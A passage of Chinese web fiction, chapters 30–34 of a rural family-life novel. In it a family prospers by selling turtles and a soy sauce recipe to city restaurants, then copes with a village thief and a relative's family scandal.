“我们愿意前三年给如意楼独家供货,但是后面就不能保证了,毕竟整个怀江府这么大,我们家的团鱼的品质掌柜伯伯也是知道的,万一后面那些大酒楼找上门来,我们总归是不好一直拒之门外的,我们农户家,也得罪不起那些大掌柜们,再说了,往后养团鱼的人多了,孙掌柜还怕收不到团鱼嘛?” 孙掌柜没有勉强,痛快地定了契,双方各自一份收好,赵来贺开口了。 “孙掌柜,明天我们回家后,最晚后天,会给您送一批团鱼过来。另外,我们这回带了一坛酱油,炒鸡炖肉烧鱼都是极好的,就送您当添头了,还望孙掌柜不要嫌弃。” 孙掌柜虽然不知道什么酱油,但到底是经营酒楼的,听他这样一描述,便知道是调味的,用不用是一回事,但到底是开心地接了过去。 而这边,走出如意楼,赵来贺抱起儿子,激动不已,若不是在大街上,他狠不得要将儿子抛起来。 怕卖不去,这次他们来府城只带了四只甲鱼,那四只甲鱼个个都有两斤重,最后竟然卖了十七两!而且后天孙掌柜让再送六十只来,提前付了一百两两的定金,老天爷,他怀里竟然揣着一百一十七两! 怀里多了一百多两后,夫妻俩看谁都像贼,连晚饭也不敢再去吃面了,只买了两屉包子,找了家客栈住了一宿。 第二天一早,顶着黑眼圈的夫妻你看看我,我看看你,花了两文钱让店家帮忙热了昨夜剩下的包子,吃完就打算回去了。 “咱们家也该买只牛了,这回把甲鱼卖了,家里还是要再买几亩地的,虽说如今家里是雇人干农活,但是回回都要借牛,大生叔跟富哥家里的地也都多,每次须得岔开了借,总归是不大方便的,有了自己的牛,就是后面雇人,不用去借了牛,也不用担心误了下种子的时间。” 巧娘细细想了片刻,也觉得有道理,当即把昨夜决定这笔钱留着给儿子娶媳妇的想法抛到了脑后。 买!是得买,等把六十只团鱼送到府城,拿到剩下的尾款,少说有一百四十多两,家里的钱不用动,也能买好几亩地了!虽然他们家如今又是养鸡,又是卖团鱼,但是总归没有拿到手上的地契叫人安心的。 巧娘已经决定了,往后她要天天去看着那池甲鱼,如今那池塘就是她的宝贝,可不能叫人偷了去。 一家人原本计划直接回村,现如今决定要买牛,索性到了县城后就直奔买牲口的市集,在这边又是花了近一个多时辰,这才挑中了一只刚成年的牛,一番讨价还价后,花了十八两买了下来。 一只牛的价格也差不多在十八两左右了,只是他们这只牛刚成年,正是干活的时候,能只花十八两算是便宜了。 买了牛正是新奇的时候,赵来贺便让巧娘跟儿子坐驴车,他自个儿在前面乐呵呵的牵着牛绳。 走了一会儿,巧娘心疼驴子,坚决不肯坐了,又陪着赵来贺一起走,一遍遍地抚摸着牛笑得眉眼弯弯,赵丰年本 也想下来,自然是被两人拦了下来。 这一番折腾,回到家已经临近黄昏了。 柳大正在院子里做马扎,见他们回来,还领着一头牛,什么都没问,只憨笑着接过缰绳牵着牛院子里溜了一圈,又夸了一番牛挑得好,便准备回桑河村了。 赵来贺哪能让他这样回去,一定要让他吃了晚饭再走。 这次回来的急,没带什么东西,索性去池子里逮了一只甲鱼,红烧了,一半上了桌,另外一半装好了,好叫他一会儿回去的时候带家去。 柳大也被这口感惊艳到了,吃得头都不抬,见他喜欢,赵来贺便又取了坛酱油给他带回去。 巧娘详细说了一番做法,柳大本来还想着哪一天得抽空去田坝河沟里抓甲鱼,只是他家水田少,不晓得能不能逮到,听妹妹说做其他肉菜也一样香,顿时就眉开眼笑了。 又听说他们想明日去镇上再做一架牛拉的板车,柳大连忙摆手。 “花那冤枉钱做什么,左右这些日子没接社么活,我跟爹明天白天就给你们赶工出来。” 赵来贺自是高兴不提。 到了第二天傍晚,柳老头跟柳大果然将板车做了出来,去年柳家也买了驴车,这回不用跟之前送家具一样借旁人家的驴车了,直接就放自家的驴车上运了过来。 柳河村不近,赶夜路也危险,赵来贺说什么也要留两人住一宿,听柳老头夸昨日带回去的红烧甲鱼,当即又要巧娘去烧一顿甲鱼,被柳老头死活不肯拦了下来。 赵丰年便提议抓一只鸡,赵来贺眼睛一亮,他也爱红烧鸡,甲鱼吃不起,他们家鸡可多的是。 这下柳老头没再拒绝了。 第二天一早,赵来贺就准备去府城了。 甲鱼是提前抓好了的,怕路上压死了,直接用之前编的长鸡笼装着,整整装了四个笼子,这次倒是没带酱油了,按照赵丰年的说法,头一回当添头,等人尝到甜头,又发现到处也买不到的时候,他们这酱油就能卖上好价了。 这次巧娘就不跟着去了,她打算再做两缸酱油出来,为此,昨日在县城还买了点细面,又嘱咐赵来贺从府城回来的时候,从县城带几个缸回来。 只是,这些都不急。 柳老头跟柳大也跟着一起顺道回家。 见柳老头喜欢挺喜欢甲鱼,赵来贺知道明着给他他肯定不愿意收,便偷偷往他背篓里装了两只。 村里人还不知道赵来贺家买牛了。 直到巧娘赶着牛车送赵丰年去县城。 “赵四家买牛了!嚯,那牛牙口好,又壮实,铁定要不少钱呢!” “一只牛少说也要十七八两,他们家那只说不准得二十两了。” 而这边,赵来贺拉着一车甲鱼来到如意楼,这一回驾着驴车,他直接走的后门,刚进去,就见孙掌柜满脸红光,又是激动又是焦急地冲他赶过来。 “赵兄弟,你那酱汁,还有没有?我如意楼都要了!那可真是好东西啊,烧肉的时候放一点,那香味,整条街上都闻见了!”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 第31章酱油方子 原来,那天孙掌柜见赵家说是买团鱼的添头,又是自家做的,便以为什么农家土酱,随手就搁一边了,正巧灶台上的厨子听说收了上好的团鱼过来瞧,看见搁在桌上的坛子,还以为是采购来烹饪的酒水,一道都拎去了灶房。 晚食刚好有桌客人在小二的推荐下点了道团鱼,以往这团鱼大多炖汤来食,讲究一点的厨子喜欢先烹炒后再注入热水熬煮,在这个炒制的时候烹入酒,能很好地去除团鱼的土腥味,如意楼的大厨拍开坛子口,按照经验直接倒了一勺,刚发现颜色不对,手下却已经下意识泼上去了。 正当他心下一急之时,却忽然闻到一股奇特的香味,他眼睛一亮,手上快速翻动,果然那香味越来越浓郁,整个团鱼也染成了好看的酱色,不多时,竟是整个后厨都弥漫了这股子香味。 整个厨房或忙碌切菜洗菜,或帮厨,或过来上菜的小二,都纷纷忍不住吞了口唾沫,伸头观望。 “真香啊,这是做什么好吃的呢?” “颜色也好看!” “李师傅的手艺又进步了。” 而随着店小二来回传菜,这股香味顺着后厨又传到了前堂,此时正是饭点,大堂里不少人闻见了,只觉得口舌生津,忍不住就问伙计这是做的什么菜。 伙计哪里知道,孙掌柜了解情况后,立马知道机会来了,连忙笑着跟大伙解释,只说是店里新进了一批上等团鱼,如意楼新研制了一种做法,用酒楼的独家配方制作,鲜香浓郁,一口就能让人流连忘返。 能上酒楼里吃饭的都是不缺钱的,闻着这味道,听完自然是要点上一份,而这样一来,后厨的团鱼竟是不够用了。 第一份红烧团鱼上桌的时候,瞬间吸引了整个大堂的客人,这时候鲜有这样浓油赤酱的菜色,那团鱼壳边的皮炖得颤颤巍巍,裹足了酱料,仿佛都能想象一口抿进去,又鲜又香,好吃得恨不得拌上两大碗白米饭。 “好!这味道,绝了!再给我来一碗大米饭,拌这汤汁简直极品!” 正是先前点团鱼汤的那位,不过他也闻见了那霸道的味道,便问伙计能不能把他的汤换成新菜做法,伙计知道后厨没做团鱼汤,他又是今天第一个点团鱼的,自是应下。 是以,他也是第一个品尝到新菜的人。 见他吃得这么香,这下其他人也纷纷点单。 于是,这么一个晚上过去,如意楼里的团鱼就买空了。 赵掌柜笑得腮帮子都酸了。 第二天中午,又来了一批要点新菜的人,赵掌柜无法,只得解释团鱼得明天才有,但是那种浓酱菜色还有其他的,众人只得遗憾点其他的浓酱菜,这一尝了不得了,发现这种菜色都非常好吃! 后厨里,尝试用那坛酱汁烹制其他菜肴也大获成功的李厨子开始发愁了,因为酱汁没有了,无奈,只得派人去跟掌柜的说一声。 而孙掌柜得到了这个消息也很着急。 眼下这种菜肴正是卖得火热的时候,再多也不愁卖的,这时候断了货岂不是看着银子从家门口路过还不捡吗?! 孙掌柜无法,只得一边跟客人们解释,另一边派了几个机灵的伙计出去碰碰运气找找还有没有买这种酱汁的地方,毕竟只是农家自制酱汁,万一他们吃着稀罕,而那些村子里见怪不怪呢。 伙计自然是没找到,不但没找到,而且无论是府城还是下面几个村镇,都没听说过这种酱汁。 孙掌柜还有什么不明白的,八成是人家家传的方子。 于是在经历了有钱不能挣的的煎熬后,一听伙计说赵家来送货,孙掌柜当即抛下手上的活,一路小跑来了后院。 孙掌柜先看见那车上的笼子,没看见酒坛子,就有些失望。 “孙掌柜,这里是六十只团鱼,您点点,按照约定,下一批我过五天再送来。”赵来贺一边说,一边打开笼子给人清点。 孙掌柜却道不急,“那什么,赵兄弟,你们上回的那个酱汁,可还有余的?” 赵来贺还想什么酱汁,忽然想起了是前面送的酱油,“哦哦,您是说酱油吧,有倒是有,不过……” 孙掌柜自然懂得,“当然不能再让赵兄弟白送,上回那酱汁,哦,叫酱油是吧,那可是好东西啊,炒那肉菜的时候加上一点这东西,那味道,嘿,绝了!” “也是您识货呢,原是我们自家琢磨出来想要做点小买卖的东西,只是弄起来麻烦,前后废了大半年的功夫,就得了两三坛,头先想着给各个酒楼食肆瞧瞧,后来您痛快,要包圆了我家的团鱼,才想着送了您当个添头,这回赶着送货便也没带上,正好过几日我也要带着样品再来府城,您若要,我也再给您捎上一坛就是。” 孙掌柜心里咯噔一声,怕他转头就买给其他酒楼,尤其是鼎香楼!便又想独家,只是刚提出来,赵来贺便作出面露难色。 这东西说麻烦也麻烦,做起来成本倒不是 很高,眼前只有他们家有,买高价也不是不行,但终究会被别人发现,到时候反而难以下场。 儿子的意思是他们家现如今是分身乏术,再添一个酱油的营生怕是没这个精力,是以这东西他们自己不做,先送给酒楼食肆试试,待试好了,自然知道这东西的好处,到时候只把方子卖出去。 没有得到想要的,孙掌柜有些可惜,又听他说后天要送两坛来府城,还要卖方子,当即定下了其中一坛,又想要花二百两买下方子,但是赵来贺拒绝了,只说还要跟家里人商量。 现在酱油还没完全在府城传播开来,等大家都知道有这么个好东西了才行呢。 原本赵来贺跟柳巧娘也是想要散卖的,但是赵丰年劝了下来,毕竟他们家人少,又要养鸡养甲鱼,又要酿酱油,怕是忙活不过来了,而且他们就是普通的老百姓,乍然多了这些赚钱的门路,保不齐会被盯上。 赵来贺跟柳巧娘一听这话,连忙放弃做酱油生意了。 赵来贺拿了一百四十八两的尾款,买了媳妇要的缸,还有几个小坛子,赶夜路回了赵家村。 等到第二天,又将酱油分了分,这次是装了半斤的十来个小坛子。 而如意楼前两日新出的菜色也在府城传开了,有经验的老厨子一听就知道是加了某种调料汁子,几家大酒楼播种托人去寻,却始终没找到,只听说是个兜售团鱼的乡下人自家做的。 这时候,赵来贺也拉着驴车上的酱油,走进了几家酒楼。 当然也没忘记如意楼要的,孙掌柜知道他送了其他酒楼“试用装”,也不生气,乐呵呵地将自己买的两斤抱下来,这钱是上回就结完的,为了占个府城头一家,多添花了二两银。 这一回回去后,再来府城要秋收后了,如意楼这几天生意大好,前两天送来的团鱼竟然都卖完了,加上现在又有了酱油,孙掌柜有信心会卖得更快,让赵来贺至少明后两天再送一次。 家里池塘里的甲鱼还有,赶在秋收前再送几次,刚好可以休养生息了,他跟那些管事掌柜说秋收后会在如意楼卖方子,有需要的都可以去东街的如意楼找他,这样想了想,那这两天再跑一次,后面小半个月都不用来了,赵来贺便答应了孙掌柜。 而那些本来对赵家酱油不以为意的人,待试过了最近颇为火热的酱油后,顿时发现了新商机,可不等他们继续用,酱油就空了,而很多老客都会问,有没有如意楼那种红烧的菜肴。 鼎香楼也不例外,因为没有酱油,生意都惨淡了不少。 各家摩拳擦掌,眼巴巴的等着秋收后去如意楼买方子。 这天府城的如意楼格外热闹。 孙掌柜这段时日可谓是春风得意,凭借一坛独家的酱油,独占鳌头,风光无两,各家酒楼、食肆、作坊这些日子没少派人来如意楼打听消息,今天中午听说人来了,忙赶着上门。 瞧见鼎香楼的牛掌柜,孙掌柜忙迎接上去,大声笑道,“哎呦喂,竟是鼎香楼的牛掌柜,蓬荜生辉,蓬荜生辉啊!” 牛掌柜气闷,自从得知给如意楼送酱油的人第一个去的是他们鼎香楼,他却没接上这门好生意,他们东家把他臭骂了一顿,还罚了两个月薪水,今天他是领了命来,无必要拿到酱油方子,否则他这掌柜都要卷铺盖走人了。 各家大酒楼要么有自己的作坊,要么有合作的作坊,是以,听说今天要卖这段时间风靡府城的酱油方子,不光是府城里,甚至几个附近县城里竟也有人来。 赵丰年可不管什么人要买,总之五十九两一份,愿意买的他们都给卖,至于后面其他人会不会泄漏出去,或者转手高价再卖出去,他相信今天之后,酱油这味调料品将在临江府遍地生花,慢慢走近大夏寻常百姓家,价格不会太便宜,却也高得离谱。 这场买卖很快就结束了。 彼此都很满意。 除了赵来贺。 揣着一千多两银票的他慌张不已,只想赶紧回到赵家村,到了家后,他觉得村里也不怎么安全,于是索性连夜在床底挖了一个洞,藏在了一个木盒子里,又将洞糊起来,这才稍觉得心跳平稳一点了。 第32章 第32章“天杀的偷子!”…… 一时间,夫妻俩都不敢出门了,只想守着银子。 本来如今农忙都是雇人,左右没他们自个儿什么事,赵来贺早就手痒难耐,还想卖完酱油方子后就上山打猎去,如今可不敢了,就连当时卖完方子,他都是找个没人的地扮成乞丐回来的。 赵丰年见他两人慌成这样,便提议再买两条狗来看家护院。 “是该再抱两只,大黄被咱们养得娇气,见人就撒娇,叫他看家捉贼是指望不上了。”话是这么说,但家里最疼大黄的就是巧娘了,大黄被养成这样,大部分的责任都在巧娘身上。 “那我明日个去趟镇上,镇上张屠户家养了几只狼狗,每年差不多这个时候都有一窝,我看看能不能抱两只回来,正好农忙了,也割几斤肉犒劳犒劳。” 听了这话,巧娘就笑了,“得了吧,农忙又不叫你忙的,还犒劳呢,我看你就是馋宝儿上回说的红烧肉了。” 赵来贺笑了笑,没反驳。 第二天下午赵来贺就把两只小狼狗抱回来了。 两只都是灰黑色,只不过一只尾巴上有一簇白毛,一只是在眉心里长了一簇白毛。 三个月的狗崽子正是开始换乳牙的时候,见天的要磨牙,张屠户家多的是大骨头给狗崽子磨牙,赵家是没有的,于是,当这天起床,赵丰年发现自己丢了一只鞋。 “肯定是被两只狗崽子衔走了,你爹也是,张家就是卖肉的,他去人家家里抓狗,只知道给自个儿割了两斤肉,都不晓得要给狗买根骨头,你先穿这一双去学堂,另外一只娘去给你找,指定又是衔到鸡棚那边了!” 巧娘给赵丰年拿了新鞋,这才又出去找狗了。 “晓得了,我今天送宝儿去县城,回来的时候就买!”赵来贺正在堂屋摆饭,听到巧娘嘀嘀咕咕走过去就提了一句。 “家里如今有三条狗呢,得取个名字才行,大黄就还是大黄,这新来的两只,一只旺财,另外一只叫——” “叫来福吧。”赵丰年憋了一样那只正咬着他一只鞋咬得起劲的狗崽子,慢悠悠说道。 照巧娘的说法,这只鞋已经被咬得不成样了,也穿不成了,索性给了它,免得还要再霍霍其他的鞋。 赵来贺喝了口粥,点头,“是个好名儿,尾巴白尖的叫旺财,那眉心白毛的就叫来福了。” 家里多了两只狗,无论是巧娘还是赵来贺,都觉得安心了不少,哪怕还只是小狗崽了。 于是,第二天赵青青赵翠翠姐妹俩过来帮忙后,巧娘便引了姐妹俩去了狗窝,然后自己去河边洗衣服跟大家一起唠嗑去了。 这一唠,就唠到了赵家三房。 “听说赵老三已经一个多月没回村了,他巧婶,你们三伯月底纳粮税的时候都没回村,是你们帮忙拉过去的?这是赚了不少钱了吧?” “不是我家,是他大伯家帮忙捎带的。”巧娘笑了笑,她只知道赵三确实三天两头不归家,倒是不知道竟是有一个多月没回来了,许是钱员外那边是忙的,这年头,忙一些才是好呢。 “要说这赵三媳妇也是好命,男人是个读书的,替员外老爷做事,虽说十天半个月才能回一次家,但到底是手上有钱不是。” “都说赵三赚到钱了,只是我看陈莲跟两个闺女倒是还节俭着呢,这不是,今年家家都是大丰收,少不得扯了料子做身衣裳,割几斤肉补补,她们家碗里还没个油花子呢!” “谁说不是,他们家三亩地,平日里就见 陈莲带着两个闺女在地里,农忙也要花钱请人,瞧不见赵老三半个影子的。” 巧娘听了一耳朵,没当回事,各房自己过自己的,用不着她上去操心。 而这头,赵丰年下了学正同几位要去书肆的同窗告别的时候,却好像看到了赵来庆。 “赵兄?” “无事,只是似乎看到了熟人,许是我看错了,那李兄、王兄,便明日再见了。” 赵丰年辞别众人,爬上驴车,就见赵来贺看着那几个快走远的同窗皱着眉头。 “爹,怎么了?” 赵来贺有些忧愁,“宝儿啊,那几个都是你同窗?他们都是要去书肆?” “嗯,他们比我先来县学,也都是附近几个镇上的。” 只见赵来贺更忧心了,“宝儿啊,咱们家如今也是富裕了,你不用再节衣缩食替爹娘省钱,爹也读过私塾,知道同窗之谊, 他们要去书肆,下回你也一起去!爹给你银子,咱们都买最好的!” 赵丰年又是感动又是无奈,“爹,您想多了,我如今东西都是够用的,书院里有自己的藏书,夫子都准许在书院里借阅的,暂时不缺东西我才没有一起去。” 赵来贺顿时放心了,“这就好这就好,不过你如今在县城读书,县城的花销肯定不比在村子里,给你的零用还是少了些,往后给你增到一两!你想买什么就买什么。” 晚上,饭桌上,赵来贺还特意跟巧娘也提了一句,巧娘自然是赞同的。 “远的不说,就说二嫂家,他们柱子读书,可是用的最好的笔墨,最好的纸张。” 赵来贺也赞同,“富哥家有志用的东西也都是好东西。” 赵丰年忙解释那些东西都是非必须的。 “就是要用次一等的笔墨纸砚才好呢,假设这样的东西都能练好了,后面考试的时候用纸不会太差,写起来也流畅,才能更好,再说,如今我还没到那个阶段,倘若真有需要的,我自不会亏待了自己。” 科举的事巧娘赵来贺是不懂的,但是既然儿子都说了不会亏待自己,那他们自然是没话可说了。 也是这么一着,赵丰年完全忘了赵来庆的事。 直到这天,钱员外带着礼品上了他们家。 “早该来拜访的,你兄弟在我府上做事,算起来,都是一家人了令公子是多次被县令大人夸赞的神童,一直久闻其名,未见其人,今日一见,果然是少年英才啊!” 赵丰年一听这话就笑了,果然不愧是生意人,什么话都能信手拈来。 钱员外来的目的也很单纯,就是想要酱油方子,由此可见,他的生意做得挺大,消息也很灵通,至少目前为止,赵丰年还没听说临县谁家开始卖酱油的,起初他们没有选择再临县卖,一个是府城大,而来就是不想太招摇,有意瞒着,但是钱员外却知道了是他们买卖方子,由此可见,钱员外在临县绝对是有势力的那一拨人。 不过,他们赵家也不是原先的赵家了,他们家多次被县太爷表彰夸赞,单凭堆肥法,就让周围人不敢轻视,这也是钱员外如此客气的缘故了。 赵丰年这里想着,却没有拒绝钱员外的请求,送上门来的生意不做白不做,况且,赵丰年相信,钱员外是个聪明人,绝对能明白他们不想弄得人尽皆知的意思,否则,他也不会大晚上过来了。 不过,生意做了,赵丰年没收钱员外的东西,钱员外也没坚持,今天只当是单纯的生意往来。 “那赵小公子来日定有一番作为,既是他三叔在咱们家做事,就别亏待了人,提到大宅里来吧。” 仆从应是,心想,那赵三也是凭着侄子高人一等了。 赵丰年这里还没想到他三伯要因为他得到重用了,只是今晚钱员外提到赵三伯,他这才想起来那天在县城看到赵来庆的事,便问了赵来贺。 “钱员外那庄子?好像不是在县城,是县城附近镇上,听说跟来富岳家一个镇上,咋问起这个来?” “我那日好像在县城见着三伯了,以为他如今在县城做事呢。” 赵来贺摇摇头,“应当是你看错了,你三伯素日里忙着,连村里都不能轻易回来的,哪里会上县城去。” 赵丰年点头,只当自己看错了。 赵家跟钱员外都以为这一趟来得私密,没有人得知,却不想落入了有心人眼中。 当天晚上,赵家就遭了窃。 赵丰年晚上睡得浅,故而狗崽子刚叫起来,他就醒了。 本来以为只是猴崽子打架叫了几句,后面一听不对劲,立马就清醒了,正要起来,却见巧娘冲了进来一把见他搂在怀里,外面随即传来他爹大喊抓贼的声音。 “娘——”赵丰年刚要挣扎,却被巧娘抱得更紧了,不仅如此,她浑身颤抖,显然是怕极了。 “宝儿不怕宝儿不怕,娘在这里呢!” 赵丰年察觉到巧娘其实更害怕只手,就不再挣扎了,只轻轻地回拍着他娘。 “娘,我不怕,你也不要怕,有爹在呢,爹还有弩箭,不会有事的。” 巧娘被儿子安抚下来,正要说什么,就听见外面有瓦片砸碎的声音,当即心中一紧,就要冲出去瞧情况,赵丰年连忙跟上。 只见院子里空空如也,招财跟来福狂叫不止,衣架子倒在了一边,早已经不见赵来贺跟贼人的踪影。 巧娘当即就双腿一软,幸好赵丰年后面扶了一把。 “天杀的偷子!” 第33章 第33章来福在咬人 巧娘喊了一声后,随手捞起一根竹竿就往外冲了,赵丰年连忙跟了上去。 远处不少屋子里已经亮起了烛光,应该是被惊醒了。 赵丰年跑到坝上的时候,才看到了赵来贺的影子,连忙喊住他娘,巧娘听到儿子的声音转头一看,当即就跑过去拉着赵来贺上下打量起来。 “没伤到,那偷子滑溜着,被来福咬了一口,听到屋里动静,立马就翻墙跑了,我追到坝头,没找到人就回来了。” 巧娘抹着眼泪,“这该死的偷子!” “我们先回去,明日一早我就去找村长,这事还没完!” 赵来贺说完,一把将赵丰年抱起来,这边刚走到家门口,就见赵来元带着几个人举着火把喊人。 “来贺——” “贺哥,发生什么事了?” 赵来贺招呼人进屋,巧娘连忙点灯,烧水。 赵丰年跟着一起,赵来贺摸了一把他的手,进屋拿了件薄袄给他披上,这才跟赵来元等人解释。 “咱们赵家村竟进了贼人!好在人没事。” “肯定是眼红病,你们家这两年动静大,怕是早就遭了惦记。” “都丢了什么东西了?” 赵来贺正要摇头,赵丰年却插了一嘴,“丢了家里存钱的罐子。” 赵来贺看了眼儿子,瞬间转为点头,“没错,那人手上拿着罐子,还有好大一包袱,就是天太黑了,瞧不清楚还有没有其他的,我这里刚回来,也没来得及查看。” “我娘孵小鸡卖鸡的全部家当都在里面了,所以刚才气狠了,直接接就追出了门。” 几人也点头,是这个理,不然巧娘一个弱质女子怎么可能大晚上跑出家门抓贼,更别提宝儿一个孩子都追上去了,看来是丢了不少。 “就是天太黑了没瞧清楚人,来贺哥,你可认得那人身形?” 赵来贺沉着一张脸摇头。 送走几人,赵家上下检查了一下,确定没少东西,巧娘心下才送了一口气。 “娘,你这会儿去杀只鸡,鸡棚里弄乱一些。” 巧娘不解,看向赵来贺,赵来贺点头,“是该杀只鸡,我去!你们先回屋,宝儿今晚跟我们一起睡。” 处理过一切,赵丰年才跟巧娘解释。 “娘,这贼八成就是本村人,外人不知道咱们这里的地形,轻易摸不到咱们家 来,就算白日里来过,村里人也能瞧见生人脸,可今晚来元叔几人都说最近没瞧见过生人,知道咱们家情况,又刚好赶在钱员外送了东西后来偷东西,本村人的可能性最大。” 巧娘听了直气得牙痒痒。 “所以宝儿你刚才才说丢了你娘卖鸡的银子?”赵来贺当时也反应过来,隐约猜到了儿子的打算。 赵丰年点头,“村里人都不知道咱们卖酱油方子卖甲鱼的事,只当咱们家发家都是靠娘孵小鸡卖鸡赚到的,肯定是少不得眼红心热,如今我们对外宣称丢了这部分钱,一来避免其他人再惦记,二来,也能逼村里尽快找到这小偷。” 寻常的小摸小偷,可能还有人包庇,当真的偷的多了,就是对村长族老的挑衅,村里不出面也不能了。 “爹,这事不能就这样算了,我们还要去县衙报官。” 赵来贺还没想到要闹到县衙里去,巧娘这回却是头一个答应的。 “报!就是要报官,这杀千刀的,这回他来了想偷东西,谁知道还会不会再来,谁又知道下次是偷什么东西!” 巧娘是被吓怕了。 赵来贺也认识到事情的重要性,找不找得到无所谓,重要的是,他们要“杀鸡儆猴”。 第二天一早,赵来贺就上村长家说了这事,很快村里众人都知道了昨夜赵家遭了贼,偷了全部的积蓄,赵四无法,还想去县城报案。 “这种事闹到县城,不大好看啊。” “有啥不好看的,要是我家被偷了全部积蓄,我恨不得连夜去报官哩!” “也没说全部积蓄吧,不是说是巧娘卖鸡的钱罐子?” “嗨,赵老四家除了地里的产出,不都是巧娘孵小鸡卖鸡卖鸡蛋赚的?” 众人一听,顿时觉得赵来贺去报官合情合理了。 村长赵大生本来听赵来贺说想去县城报官,还有些为难,这种事一听就知道是本村的人干的,哪个村里没有几个游手好闲的手脚不干净的汉子,只要是没触及到大家的底线,都是一个宗族的,总不至于闹得太难看。 只是这一回确实是太不像话了。 又是偷了银子又是偷了鸡,跟以往偷几颗菜薅几把豆子之类的小偷小摸完全是不一样的性质。 “这事确实严重,今天这贼能偷你们家,明天就能偷其他人家,咱们赵家村可不能由着这贼人乱来,这样,来贺,你要是想去县城报官,我让来元陪你去一趟,只是去报官前,你看我们是不是先在村里找找?” 赵来贺同意了赵大生的提议,第一天,还没有什么动静,到了第二天,赵大生当着众人说赵来元会陪着赵来贺去县城报官,这才有人慌了。 到了第二天黄昏,周大力应赵来贺的请求穿着衙役服在赵家村走了一圈,那人终于顶不住了,确实是赵家村的人。 人是抓住了,但是却不承认偷了钱,只说还没来得及偷东西就被狗咬住了,吓得他直接跳墙离开,还扭伤了脚。 只是这话就没人相信了。 毕竟从他的住处搜到了一把磨得锃亮的杀猪刀。 赵来贺看了也是后怕不已,若不是这人胆子小,被狗吓到了,等尝到了甜头,下一回指不定是个什么情形。 这下,赵大生也只能同意赵来贺报官了。 村里小偷小摸他都能处理,这要是出了人命,他这个村长也做到头了。 顾子升知道了这事还特意在县学下学的时候来找了一趟赵丰年。 “你放心,我肯定好好审这件案子,务必要让他把钱吐出来!” 赵丰年无奈,依着顾子升的性子,怕真的要一直盯着那人,他索性告诉了顾子升事情的前因后果。 顾子升听完也是义愤填膺,“竟有这样的人,你别担心,我不告诉其他人,不过能让他给的补偿一定让他吐出来!” 赵丰年也有点惊讶于顾子升居然想到了赔偿,不过,这也正合他意。 在得知这人家里藏了刀具后,赵丰年就意识到,他们家还是太软弱了,还是不够强,不够让人敬畏,因此,他头一次邀请了顾子升去家里做客。 顾子升眼睛一亮,“是个好办法,我穿着官服去,让大家都知道,你家是我罩着的。” 赵丰年认真地看着顾子升,发现他这话真心实意,顿时就笑了。 过了几天,顾子升果然穿着官服,骑着高头大马,带着衙役在赵家村溜了一圈,然后进了赵丰年家。 经此一事,村里人也意识到,赵四家确实今时不同往日了。 “连县太爷都亲自去他家呢!” “上一任的县太爷也看重来贺家,人家跟衙役也交好的,张癞子可真是不长眼。” “谁说不是呢,不过,这县太爷也太黑了,上回来我还以为是晒的呢。” 而巧娘跟赵来贺都被“小顾”的身份震惊到了,一开始还拘谨叫着“大人”。 顾子升却没什么架子。 以至于走的时候,巧娘完全忘记了顾子升的身份,不仅送了他一坛酱油,还一定要给他一篮子鸡蛋。 “婶子自家养的,可养人了,小顾你每天要忙那么多事,得好好补补!” 好嘛,又成了“小顾”了。 村里人只当赵家家底都被偷了,往后定然是要重新辛苦一番了。毕竟那张癞子死活不承认钱藏哪里了,最后也只追回了不过五六两碎银子,还是最后将张家唯一的一亩旱地补偿给了赵家才算结束。 就这样,时间也到了年底,又是一年一度采办年货的时候了。 最近无论什么时候出门,巧娘都会被人问及究竟被偷了多少钱,还能不能过个好年的事,巧娘都只是笑笑。 “不管怎么样,日子都是要过下去的。” 赵丰年却开始画古法榨油的图纸了。 赵来贺看过几次,建议正月里去柳家村过年的时候让柳老头看看,赵丰年同意了。 今年照样去县城半年货,许是想着他家刚被偷,怕他们借钱,今年赵家其他几房倒是一个都没来借驴车。 “上回河边碰到他大伯娘,见着我就跑,活像是见鬼似的。”饭桌上,巧娘有些不满。 “来富哥前些日子还问我要不要借点钱把这个年先过过去,那时候还没拿到县衙给的五两银子,其他人误会就这样吧,如今这样也好,不叫人惦记。” “就连他二婶都不叫青青翠翠上咱们家来了,原先我还想着,俩孩子辛苦了几个月,到了年关给她俩一人做一身衣裳的。”巧娘说完,转头给桌地下打转的来福扔了一大块肉。 自打来福那天咬了张癞子,吓跑了人后,来福在巧娘心目中的地位一下就升到了第一,恨不得每天专门给它煮一锅。 赵丰年见了只觉得“来福”这个名字算是叫对了。 第34章 第34章一丛青竹 年货办得十分顺利,如果不是碰到赵来庆的话。 赵丰年这次十分确定,上回他确实是看到了赵老三,不是错觉,也不是认错了人。 “三哥昨天还没回村,看来是今天直接来了县城,打算买了年货回去的。” 赵来贺话一出,赵丰年跟巧娘瞬间看向了他。 “咋了?” “爹,你没看到三叔身边那个女子吗?” “你三叔在大户人家做事,大户人家的女管事仆从也多,兴许是一道过来办年货的。” 赵丰年一脸“你一定在开玩笑”,巧娘却还在盯着那边。 “这事倘若当真是一起做事的倒是好了。” 毕竟是三伯的事,巧娘自然不好去管,只当是没看到,拉着赵来贺赵丰年便走了。 他们只当 今天没看到赵来庆,只是没想到,赵来庆除夕当天也没回村,赵老头张氏带着哭红了一双眼的陈莲来借车的时候,赶巧是巧娘开的门,听到来意,二话不说就把驴车借给他们了,还让赵来贺赶紧套好了车。 陈莲感激了话说了一遍又一遍,这才跟着赵老头夫妇一起走了。 “还有两个孩子呢,也是作孽——” 巧娘摇着头继续为晚上的年夜饭做准备,一边念叨。 第二天一早,赵丰年在院子里捧着汤婆子看雪,琢磨着院子西南角上是添一颗柿子树还是枣树比较好之时,院门响了。 巧娘还在厨房做早食,赵来贺在鸡棚铲雪,赵丰年拢着手过去开门,只见屋外站着赵来金。 “宝儿啊,你爹娘在家呢吧?” 赵丰年将人请到了大堂,赵来金看到他们桌上已经摆好的几道菜,不禁笑道,“你们还没用早食呢?” 赵丰年点头,“大伯,你先坐,我去喊我爹。” 不一会儿,赵来贺就披着一身雪回来了,“大哥,怎么这时候过来了?吃了没?再吃一口?” 赵来金拒绝了,“老四,怕是要耽误你们用早食了,昨天除夕,老三没回村,下午爹跟娘去县城打听了一圈才找到了人,发生了一些事,昨晚三房闹了一晚上总之,三弟媳闹着要跟三弟和离,爹娘的意思是,让你们也一道去听听。” 赵丰年一听就知道到赵来庆的事怕是露馅了。 赵来贺也意识到了什么,本想让巧娘带着赵丰年在家,他跟赵来金过去看看,却被巧娘拒绝了。 “一道去吧,宝儿也去,早些回来咱们路上也有个伴儿。” 赵来贺想到之前家里进小偷的事,当即同意了。 